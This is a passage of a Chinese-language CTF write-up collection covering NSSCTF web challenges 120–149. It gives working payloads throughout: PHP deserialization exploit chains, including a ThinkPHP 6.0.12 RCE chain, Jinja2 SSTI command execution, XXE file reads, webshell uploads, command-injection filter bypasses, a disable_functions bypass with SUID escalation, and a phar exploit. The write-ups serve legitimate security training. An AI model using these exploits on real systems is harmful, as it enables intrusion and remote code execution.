Host: 127.0.0.1
Connection: Close


而拿上面的复制进行b64

又得到了

1
R0VUIC9mbGFnLnBocCBIVFRQLzEuMQpIb3N0OiAxMjcuMC4wLjEKQ29ubmVjdGlvbjogQ2xvc2UKCgo=

是真的离谱

120.[MoeCTF 2021]Web安全入门指北—小饼干

cookie的VIP改成1即可

121.[MoeCTF 2022]what are y0u uploading?

随便传个马抓包改文件名为f1ag.php直接返回flag

122.[MoeCTF 2021]2048

f12看到

1
2
3
4
5
6
getFlag: function() {
var req = new XMLHttpRequest;
req.open("GET","flag.php?score="+obj.score,true);
req.onload = function() {
alert(this.responseText);
}

/flag.php?score=999999

123.[UUCTF 2022 新生赛]ez_upload

apache的解析是从右往左解析的,上传改文件名为1.jpg.php即可

124.[极客大挑战 2020]welcome

post方法访问,数组绕过sha1比较,phpinfo的auto_prepend_file项有/f1444aagggg.php路径,访问F12,flag在响应包头的flag项

125.[MoeCTF 2021]babyRCE

正则很强

1
/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i

没有过滤\?

payload:ca\t${IFS}f?ag.php

126.[SWPUCTF 2022 新生赛]ez_1zpop

QNKCDZO240610708用来在非传参时绕过md5弱比较

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class lt{
public $md51='QNKCDZO';
public $md52='240610708';
public $impo;

}
class fin{
public $a='system';
public $title='cat /flag';
}

$a = new lt();
$a->impo = new fin();
echo serialize($a);
# O:2:"lt":3:{s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:9:"240610708";s:4:"impo";O:3:"fin":2:{s:1:"a";s:6:"system";s:5:"title";s:9:"cat /flag";}}
#别忘了把lt后的3改成4绕过__wakeup()

127.[MoeCTF 2022]ezphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($getout);
}

foreach ($_POST as $key => $value) {
$$key = $value;
}

foreach ($_GET as $key => $value) {
$$key = $$value;
}

echo 'the flag is : ' . $flag;

?>


GET传参处存在变量覆盖,POST没有,所以在get处传参,payload:?a=flag&flag=a

128.[HZNUCTF 2023 preliminary]flask

payload需要倒序,焚靖的--tamper-cmd rev可以倒序,但仍然跑不出来

{%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('ls').read()}}{%endif%}{%endfor%}

{%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('env').read()}}{%endif%}{%endfor%}

{% print lipsum.**globals**[‘os’].popen(‘env’).read() %}也可以

焚靖生成payload的用法:

1
2
3
4
5
import fenjing
def waf(s):
return "_" not in s
payload,_ = fenjing.exec_cmd_payload(waf, "ls /")
print(payload)

129.[NCTF 2019]Fake XML cookbook

POST请求体

1
2
3
4
5
<!DOCTYPE a[
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username>
<password>1</password></user>

130.[UUCTF 2022 新生赛]ez_unser

需要注意的2个地方是

1、exp中也要把方法补上 否则将不会执行

2、由于正则不允许修改序列化成员数量绕过__wakeup,但可以通过赋予变量相同的地址$a->b=&$a->a;

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

第一版exp(无法执行,因为__wakeup__destruct没有补全):

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $a;
public $b;
public $c;
public function __construct(){

}
}
$a = new test();
$a->b=&$a->a;
$a->c="system('ls');";
echo serialize($a);

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class test{
public $a;
public $b;
public $c;
public function __construct(){

}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=new test();
$a->b=&$a->a;
$a->c="system('cat /f*');";
echo serialize($a);

?>

131.[SWPUCTF 2022 新生赛]Ez_upload

上传.htaccess,修改mime类型为image/jpeg即可

image-20231115141605923

然后传马,waf是ph*和mime类型,以及<?

所以改用<script language="php">@eval($_POST['cmd']);</script>,修改mime类型为image/jpeg,使用文件后缀为png(其实任意都可以,因为.htaccess已经将所有后缀的文件都解析为php了)

image-20231115145056553

蚁剑连接没啥用,flag在phpinfo里

132.[FSCTF 2023]源码!启动!

F12被禁用,ctrl+U在最下面getflag

133.[SWPUCTF 2022 新生赛]funny_web

username=NSS

password=2122693401

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#rea11y.php
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num != '12345') {
if (intval($num) == '12345') {
echo $FLAG;
}
} else {
echo "这为何相等又不相等";
}
}

?num=12345a

134.[MoeCTF 2021]Web安全入门指北—GET

?moe=flag

135.[MoeCTF 2021]unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

class entrance
{
public $start;

function __construct($start)
{
$this->start = $start;
}

function __destruct()
{
$this->start->helloworld();
}
}

class springboard
{
public $middle;

function __call($name, $arguments)
{
echo $this->middle->hs;
}
}

class evil
{
public $end;

function __construct($end)
{
$this->end = $end;
}

function __get($Attribute)
{
eval($this->end);
}
}

if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
highlight_file(__FILE__);
}

链子分析:变量命名的逻辑已经很清晰了,start->middle->end,最终在end的__get里执行代码,往上推,需要控制evil类的end成员为我们要的命令执行函数如system('cat /flag');,再往上推,就需要调用__construct,而在实例化的时候会调用,默认不用处理,为了调用__get,需要访问不存在的属性,正好sprintboard类的__call方法访问了一个hs,而调用__call方法就需要访问不存在的方法,正好entrance里的__destruct就访问了一个不存在的helloword(),尝试写下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
class entrance
{
public $start;

function __construct($start)
{
$this->start = $start;
}

function __destruct()
{
$this->start->helloworld();
}
}

class springboard
{
public $middle;

function __call($name, $arguments)
{
echo $this->middle->hs;
}
}
class evil{
public $end = "system('cat /flag');";
function __construct($end){
$this->end = $end;
}
function __get($Attribute){
eval($this->end);
}
}
$a = new entrance($start=new springboard());
$a->start->middle = new evil($end="system('cat /*');");
echo serialize($a);
#O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:17:"system('cat /*');";}}}

136.[FSCTF 2023]webshell是啥捏

?👽=cat /f*

137.[GKCTF 2020]CheckIN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}

public function x()
{
return $_REQUEST;
}
}
new ClassName();

本地调试可以执行命令,靶机不行,猜测disable_fucntions

使用phpinfo查看禁用了一大堆系统函数,那么构造webshell语句

?Ginkgo=ZXZhbCgkX1BPU1RbJ2NtZCddKTs=

蚁剑连接,绕过disable_functions,选择模式PHP7_UserFilter

根目录的flag读不了,需要提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(www-data:/var/www/html) $ find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/umount
/bin/mount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/readflag
(www-data:/var/www/html) $ ./readflag
(www-data:/var/www/html) $ cd /
(www-data:/) $ ./readflag
NSSCTF{d09d2931-3e0b-4a28-8421-660e1df960cc}

138.[CISCN 2022 初赛]ezpop

www.zip源码泄露,是tp6.0.12LTS框架,可以找通杀,尝试自己代码审计

phpstorm打开源码文件夹ctrl+shift+f全局搜索__destruct,发现vendor\topthink\think-orm\src\Model.php存在以下实现

1
2
3
4
5
6
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}

跟进save()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

if (false === $result) {
return false;
}

$this->isEmpty()或者false===$this->trigger('BeforeWrite')就会返回false,需要让$this->isEmpty()为false,$this->trigger('BeforeWrite')为true才能进入下一段执行,先看后面的trigger,位于\vendor\topthink\think-orm\src\model\concern\ModelEvent.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}

$call = 'on' . Str::studly($event);

try {
if (method_exists(static::class, $call)) {
$result = call_user_func([static::class, $call], $this);
} elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
$result = self::$event->trigger('model.' . static::class . '.' . $event, $this);
$result = empty($result) ? true : end($result);
} else {
$result = true;
}

return false === $result ? false : true;
} catch (ModelEventException $e) {
return false;
}
}

$this->withEvent为false就可以返回true,再跟进isEmpty()

1
2
3
4
public function isEmpty(): bool
{
return empty($this->data);
}

empty()中,参数是非空非零的值会返回false,这些变量也会被认为是空:

1
2
3
4
5
6
7
8
""
int(0)
float(0.0)
"0"
NULL
FALSE
array() //空数组
$var; //未初始化的变量

那就只需要让$this->data不为空就可以了。跳过了上面的if语句判断,来到

1
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

三元运算符,这里的意思是$this->exists为true就执行$this->updateData(),为false执行$this->insertData($sequence)$this->exists是可控的,先跟进updateData()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}

$this->checkData();

// 获取有更新的数据
$data = $this->getChangedData();

if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}

return true;
}

if ($this->autoWriteTimestamp && $this->updateTime) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $data[$this->updateTime];
}

// 检查允许字段
$allowFields = $this->checkAllowFields();

foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}

foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}

// 模型更新
$db = $this->db();

$db->transaction(function () use ($data, $allowFields, $db) {
$this->key = null;
$where = $this->getWhere();

$result = $db->where($where)
->strict(false)
->cache(true)
->setOption('key', $this->key)
->field($allowFields)
->update($data);

$this->checkResult($result);

// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
});

// 更新回调
$this->trigger('AfterUpdate');

return true;
}

跟刚才绕过trigger一样,第二个if要传入非空的data,是我们控制的,不为空就可以走到$allowFields = $this->checkAllowFields();,跟进

1
2
3
4
5
6
7
8
9
10
    protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
...
}

$this->field是空的,会执行下面的else分支也就是$this->db(),跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
    public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);

if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}

...
}

$this->table可控,能够进入到if里,由于用了.来拼接$this->table$this->suffix,也就是把这两个变量当做字符串来处理,倘若传入对象,则会触发__toString(),因此现在可以寻找__toString()了,在www/vendor/topthink/think-orm/src/model/concern/Conversion.php里的__toString()调用了toJson(),跟进调用了toArray()

1
2
3
4
5
6
7
8
9
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}

public function __toString()
{
return $this->toJson();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    public function toArray(): array
{
...
// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
...
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
...
}

$data = array_merge($this->data, $this->relation);这一句将两个数组合并,接下来遍历,中间用到getAttr()函数,跟进

1
2
3
4
5
6
7
8
9
10
11
12
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}

return $this->getValue($name, $value, $relation);
}

$relation默认是false的,$valuegetData()获取,然后传到getValue(),跟进getData()看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}

$fieldName = $this->getRealFieldName($name);

if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}

throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

里面调用的getRealFieldName跟利用链关系不大,看getValue()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);

if (array_key_exists($fieldName, $this->get)) {
return $this->get[$fieldName];
}

$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
...
}

$this->withAttr存在于且为数组,$fieldName$this->json中存在就能执行getJsonValue,跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected function getJsonValue($name, $value)
{
if (is_null($value)) {
return $value;
}

foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key], $value);
} else {
$value->$key = $closure($value->$key, $value);
}
}

return $value;
}

变量覆盖RCE,控制$this->jsonAssoc为true即可利用

到这里整理一下链子

1
2
3
4
5
6
Conversion::__toString()
Conversion::toJson()
Conversion::toArray() //$this->data
Attribute::getAttr()
Attribute::getValue() //$this->json $this->withAttr
Attribute::getJsonValue()

data是可控的,如果控制data为$this->data=['whoami'=>['whoami']],经过foreach传入Attribute::getAttr(),key就是whoami

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    public function toArray(): array
{
...
// 合并关联数据
$data = array_merge($this->data, $this->relation);
//$this->data=['whoami'=>['whoami']]
foreach ($data as $key => $val) {
...
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);//$key=whoami
}
...
}
1
2
3
4
5
6
7
8
9
10
11
12
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}

return $this->getValue($name, $value, $relation);
}

getAttr()里用的是getData()来获取数组value的,刚才我们控制了data为键值对,keywhoami,值是['whoami'],最终$value=['whoami'],刚才说了$this->withAttr存在且为数组,$fieldName$this->json中存在就能执行getJsonValue

1
2
3
4
5
6
7
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);

控制$this->withAttr=['whoami'=>['system']]$this->json=['whoami'],进入最后的getJsonValue()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected function getJsonValue($name, $value)
{
if (is_null($value)) {
return $value;
}

foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key], $value);
} else {
$value->$key = $closure($value->$key, $value);
}
}

return $value;
}

$name='whaomi,$value=['whoami'],$this->withAttr[$name]=['system']

poc构造的角度结束,来看exp构造(__destruct()利用过程)

1
2
3
4
5
Model::__destruct()
Model::save()
Model::updateData()
Model::checkAllowFields()
Model::db() //__toString()
1
2
3
4
5
6
public function __destruct()
{
if ($this->lazySave) { //控制$this->lazySave=true
$this->save();
}
}
1
2
3
4
5
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { //$this->data非空即可
return false;
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence); //控制$this->exists为true

然后到Model::db()

1
2
3
4
5
6
7
8
9
10
11
12
13
    public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);

if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}//控制$this->talbe为实例化的对象当做字符串调用触发__toString()

...
}

Model是抽象类,利用了我们涉及到的AttributeConversion接口,关键字可以直接使用

1
2
3
4
5
6
7
8
abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;

寻找一个可以被实例化的Model子类开始构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
namespace think{
abstract class Model{
private $lazySave = true;
// private $data = ['whoami'=>['ls /']];
private $data = ['whoami'=>['cat /nssctfflag']];
private $exists = true;
protected $table;
private $withAttr = ['whoami'=>['system']];
protected $json = ['whoami'];
protected $jsonAssoc = true;
}
}
namespace think\model{
use think\model;
class Pivot extends Model{

}
$a = new Pivot(new Pivot());
echo urlencode(serialize($a));
}

在题目的Index.php中存在一个test路由,里面反序列化了post参数a,传入即可

139.[NSSRound#7 Team]ec_RCE

payload:POST action=|cat /flag&data=1

140.[GXYCTF 2019]禁止套娃

两种办法,本质都是绕过waf。

1、session注入

扫目录发现git泄露,然后用githacker拿下源码

1
githacker --url http://node4.anna.nssctf.cn:28396/ --output-folder out
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

cookie传参设置session_id的值,使用session_start来开启,使用show_source来读取

image-20231215163217550

2、读取环境变量并输出

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

141.[MoeCTF 2021]Do you know HTTP

1
2
3
4
5
6
7
8
9
10
11
12
HS / HTTP/1.1
Host: node5.anna.nssctf.cn:28033
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: LT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
X-Forwarded-For: 127.0.0.1
Referer: www.ltyyds.com
Connection: close

四个点:

1、请求方法

2、UA

3、XFF

4、Referer

142.[HNCTF 2022 WEEK3]ssssti

焚靖一把梭

143.[FSCTF 2023]细狗2.0

waf不知道,fuzz一下用分号闭合然后执行个ls发现有回显

1;ls /被waf,绕过空格

1;ls${IFS}/可以看到flag,cat和flag都被waf

1;nl${IFS}/f*即可

144.[HZNUCTF 2023 preliminary]ppppop

一看就又是一道php反序列化

抓包发现setcookie,解b64得

O:4:"User":1:{s:7:"isAdmin";b:0;},0改成1可以看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
include('utils.php');

class A {
public $className;
public $funcName;
public $args;

public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}

class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}

if(checkUser()) {
highlight_file(__FILE__);
$payload = strrev(base64_decode($_POST['payload']));
unserialize($payload);
}

写个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A{
public $className = 'B';
public $funcName='system';
public $args='ls /'; #env
public function __destruct(){
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}
class B{

public function __call($func, $arg){
$func($arg[0]);
}
}
$a = new A();
echo base64_encode(strrev(serialize($a)));

发现根目录下没有flag,读取env即可

payload:POST payload=fTsidm5lIjozOnM7InNncmEiOjQ6czsibWV0c3lzIjo2OnM7ImVtYU5jbnVmIjo4OnM7IkIiOjE6czsiZW1hTnNzYWxjIjo5OnN7OjM6IkEiOjE6Tw==

145.[HNCTF 2022 WEEK2]Canyource

新姿势,执行读取当前变量的代码,然后给一个新的变量

1
?code=eval(end(current(get_defined_vars())));&b=system("nl flag.php")

f12看到flag

或者

?code=readfile(next(array_reverse(scandir(pos(localeconv())))));

第二个方法的过程,本地调试首先执行localeconv(),可以发现返回的是Array

然后执行pos(),返回的是.,即当前目录的意思,那么往前走到scandir,就是获取当前目录下的文件列表,并以数组形式返回,相当于ls命令,然后数组起始位置是.,下一个是..,接下来是文件夹里的文件,所以进行一个倒序,就保证是文件夹内的文件,然后取next,获取的是文件名,然后readfile输出文件内容

146.[WUSTCTF 2020]CV Maker

感觉是非预期,扫目录发现phpinfo.php或者git泄露,githacker,dump下来也是有phpinfo.php,访问getflag,预期解是注册账号然后上传头像为一句话,蚁剑连接根目录./readflag、或者env

147.[CISCN 2019华东南]Double Secret

BUU以前做过,/secret,传secret,rc4加密后的结果,脚本拿过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import base64
from urllib import parse

def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt

def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

key = "HereIsTreasure" #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)

payload一步步

1
2
3
4
{{7*7}}
{{''.__class__}}
{{''.__class__.__mro__}} #回显str、basestring、object所以获取object
{{''.__class__.__mro__[2].__subclasses__()}}

写个脚本找调用os的子进程,subprocess.Popen

1
2
3
4
5
l = [...]#回显的一堆子类
for i in range(len(l)):
if 'subprocess.Popen' in l[i]:
print("{} {}".format(i,l[i]))
# 239 <class 'subprocess.Popen'>

payload继续

1
2
3
{{''.__class__.__mro__[2].__subclasses__()[239]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

{{''.__class__.__mro__[2].__subclasses__()[239]('cat /flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

148.[NSSRound#8 Basic]MyPage

WMCTF的Make PHP Great Again 2.0的require_once绕过,原理:require-once如果包含过多软链接就会失效。payload通杀,读取的是/self/cwd下的flag.php,路径就纯脑洞了

1
?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/self/cwd/flag.php

149.[SWPUCTF 2021 新生赛]babyunser

phar反序列化

查看文件,查询read.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>aa的文件查看器</title>
<style>
.search_form{
width:602px;
height:42px;
}

/*左边输入框设置样式*/
.input_text{
width:400px;
height: 40px;
border:1px solid green;
/*清除掉默认的padding*/
padding:0px;
/*提示字首行缩进*/
text-indent: 10px;

/*去掉蓝色高亮框*/
outline: none;

/*用浮动解决内联元素错位及小间距的问题*/
float:left;
}

.input_sub{
width:100px;
height: 42px;
background: green;
text-align:center;
/*去掉submit按钮默认边框*/
border:0px;
/*改成右浮动也是可以的*/
float:left;
color:white;/*搜索的字体颜色为白色*/
cursor:pointer;/*鼠标变为小手*/
}

.file_content{
width:500px;
height: 242px;
}
</style>
</head>
<?php
include('class.php');
$a=new aa();
?>
<body>
<h1>aa的文件查看器</h1>
<form class="search_form" action="" method="post">
<input type="text" class="input_text" placeholder="请输入搜索内容" name="file">
<input type="submit" value="查看" class="input_sub">
</form>
</body>
</html>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>

include了一个class.php,读取看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
class aa{
public $name;

public function __construct(){
$this->name='aa';
}

public function __destruct(){
$this->name=strtolower($this->name);
}
}

class ff{
private $content;
public $func;

public function __construct(){
$this->content="\<?php @eval(\$_POST[1]);?>";
}

public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}

class zz{
public $filename;
public $content='surprise';

public function __construct($filename){
$this->filename=$filename;
}

public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('这不合理');
}
}

public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}

public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}

public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}

class xx{
public $name;
public $arg;

public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}

public function __call($name,$arg){
$name($arg[0]);
}
}

分析下链子,最终在ff__get下执行cmd,就要访问不可访问的成员来触发__get,里面正好有个private的$content,通过zz里的__toString来调用write($var),而write()方法里面的$lt=$this->filename->$var;会访问到$var,控制$varcontent,这个$var,也就是content,在类ff里是私有的,这个时候,尚未对content进行任何操作,需要进行赋值操作才会触发__get,那我们控制$this->filename=new ff(),正好,而aa里有个strtolower正好触发了__toString。整理下链子

1
2
aa::strlower()->zz::__toString->write($var)->ff::__get(::xx)
#这里的xx是赋值操作

写出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class ff{
private $content;
public $func='system';
public function __construct(){
$this->content=new xx();
}
}
class aa{
public $name;
public function __constrtuct(){
$this->name=new zz();
}
}
class zz{
public $filename;
public $content;
}
class xx{
public $name;
public $arg;
}
$a = new aa();
$a->name=new zz();
$a->name->filename=new ff();

$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','1');
$phar->stopBuffering();

